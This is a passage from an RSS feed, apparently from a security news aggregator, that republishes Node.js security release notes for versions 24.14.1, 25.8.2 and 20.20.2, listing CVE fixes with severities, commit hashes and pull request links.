<li>[<a href="https://github.com/nodejs/node/commit/2a6105a63b"><code>2a6105a63b</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91b970886f"><code>91b970886f</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 24.14.1 'Krypton' (LTS), @RafaelGSS prepared by @juanarbol]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21717) test array index hash collision (Joyee Cheung) - Medium
...]]></description>
<link>https://tsecurity.de/de/3487694/downloads/2026-03-24-version-24141-krypton-lts-rafaelgss-prepared-by-juanarbol/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487694/downloads/2026-03-24-version-24141-krypton-lts-rafaelgss-prepared-by-juanarbol/</guid>
<pubDate>Tue, 05 May 2026 02:02:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap SNICallback invocation in try/catch (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>) handle url crash on different url formats (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on lib/fs/promises (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to realpath.native (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6fae244080"><code>6fae244080</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc0910c62e"><code>cc0910c62e</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80cb042cf3"><code>80cb042cf3</code></a>] - <strong>deps</strong>: update undici to 7.24.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62271/hovercard">#62271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5b8667dc2"><code>f5b8667dc2</code></a>] - <strong>deps</strong>: update undici to 7.24.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62233" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62233/hovercard">#62233</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08852637d9"><code>08852637d9</code></a>] - <strong>deps</strong>: update undici to 7.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62035/hovercard">#62035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61097db9fb"><code>61097db9fb</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.0 (npm team) <a href="https://github.com/nodejs/node/pull/61994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61994/hovercard">#61994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ac0f9f81e"><code>9ac0f9f81e</code></a>] - <strong>deps</strong>: upgrade npm to 11.10.1 (npm team) <a href="https://github.com/nodejs/node/pull/61892" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61892/hovercard">#61892</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dab3c4698"><code>3dab3c4698</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87521e99d1"><code>87521e99d1</code></a>] - <strong>deps</strong>: V8: backport 1361b2a49d02 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/045013366f"><code>045013366f</code></a>] - <strong>deps</strong>: V8: backport 185f0fe09b72 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af22629ea8"><code>af22629ea8</code></a>] - <strong>deps</strong>: V8: backport 0a8b1cdcc8b2 (snek) <a href="https://github.com/nodejs-private/node-private/pull/828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/828/hovercard">nodejs-private/node-private#828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/380ea72eef"><code>380ea72eef</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6b6051e08"><code>d6b6051e08</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfdecef9da"><code>bfdecef9da</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c015edf313"><code>c015edf313</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cba66c48a5"><code>cba66c48a5</code></a>] - <strong>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>)</strong> <strong>src</strong>: handle url crash on different url formats (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/816" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/816/hovercard">nodejs-private/node-private#816</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df8fbfb93d"><code>df8fbfb93d</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 25.8.2 (Current), @RafaelGSS]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21711) include permission check to pipe_wrap.cc (RafaelGSS) - M...]]></description>
<link>https://tsecurity.de/de/3487693/downloads/2026-03-24-version-2582-current-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487693/downloads/2026-03-24-version-2582-current-rafaelgss/</guid>
<pubDate>Tue, 05 May 2026 02:02:47 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap <code>SNICallback</code> invocation in <code>try</code>/<code>catch</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for <code>headersDistinct</code>/<code>trailersDistinct</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21711" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-vcqx-cqfc-xc2r/hovercard" href="https://github.com/advisories/GHSA-vcqx-cqfc-xc2r">CVE-2026-21711</a>) include permission check to <code>pipe_wrap.cc</code> (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>) handle url crash on different url formats (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle <code>NGHTTP2_ERR_FLOW_CONTROL</code> error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to <code>realpath.native</code> (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on <code>lib/fs/promises</code> (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/2086b7477b"><code>2086b7477b</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/834/hovercard">nodejs-private/node-private#834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0f9332a40a"><code>0f9332a40a</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b6937ddb2"><code>2b6937ddb2</code></a>] - <strong>deps</strong>: update undici to 7.24.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62271/hovercard">#62271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfb8ad5787"><code>bfb8ad5787</code></a>] - <strong>deps</strong>: update undici to 7.24.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62233" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62233/hovercard">#62233</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be6384727f"><code>be6384727f</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.1 (npm team) <a href="https://github.com/nodejs/node/pull/62216" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62216/hovercard">#62216</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2feea5bb97"><code>2feea5bb97</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86c04784dd"><code>86c04784dd</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5197a56a34"><code>5197a56a34</code></a>] - <strong>(<a title="CVE-2026-21711" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-vcqx-cqfc-xc2r/hovercard" href="https://github.com/advisories/GHSA-vcqx-cqfc-xc2r">CVE-2026-21711</a>)</strong> <strong>permission</strong>: include permission check to pipe_wrap.cc (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/820/hovercard">nodejs-private/node-private#820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a886c735"><code>04a886c735</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a7f80f2b0"><code>9a7f80f2b0</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9c9b628cf"><code>d9c9b628cf</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45b55dc786"><code>45b55dc786</code></a>] - <strong>(<a title="CVE-2026-21712" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-h8r7-m85c-mjhv/hovercard" href="https://github.com/advisories/GHSA-h8r7-m85c-mjhv">CVE-2026-21712</a>)</strong> <strong>src</strong>: handle url crash on different url formats (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/816" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/816/hovercard">nodejs-private/node-private#816</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bfda307c0"><code>4bfda307c0</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/819/hovercard">nodejs-private/node-private#819</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 20.20.2 'Iron' (LTS), @marco-ippolito]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21717) fix array index hash collision (Joyee Cheung)
(CVE-2026-21713) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan)
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina)
(CVE-2...]]></description>
<link>https://tsecurity.de/de/3487692/downloads/2026-03-24-version-20202-iron-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487692/downloads/2026-03-24-version-20202-iron-lts-marco-ippolito/</guid>
<pubDate>Tue, 05 May 2026 02:02:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) fix array index hash collision (Joyee Cheung)</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC and KMAC (Filip Skokan)</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for headersDistinct/trailersDistinct (Matteo Collina)</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on lib/fs/promises (RafaelGSS)pull/795&gt;</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to realpath.native (RafaelGSS)</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS)</li>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap SNICallback invocation in try/catch (Matteo Collina)</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cfb51fa9ce"><code>cfb51fa9ce</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/831/hovercard">nodejs-private/node-private#831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f333d0be5f"><code>f333d0be5f</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2acd5d1226"><code>2acd5d1226</code></a>] - <strong>deps</strong>: update undici to v6.24.1 (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62285/hovercard">#62285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af5c144ebc"><code>af5c144ebc</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps,build,test</strong>: fix array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/834/hovercard">nodejs-private/node-private#834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00ad47a28e"><code>00ad47a28e</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0123309566"><code>0123309566</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/840" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/840/hovercard">nodejs-private/node-private#840</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00830712bc"><code>00830712bc</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/838/hovercard">nodejs-private/node-private#838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0c73425da"><code>a0c73425da</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc3f294507"><code>cc3f294507</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/839/hovercard">nodejs-private/node-private#839</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-04-01, Version 25.9.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes
Test runner module mocking improvements
MockModuleOptions.defaultExport and MockModuleOptions.namedExports have been
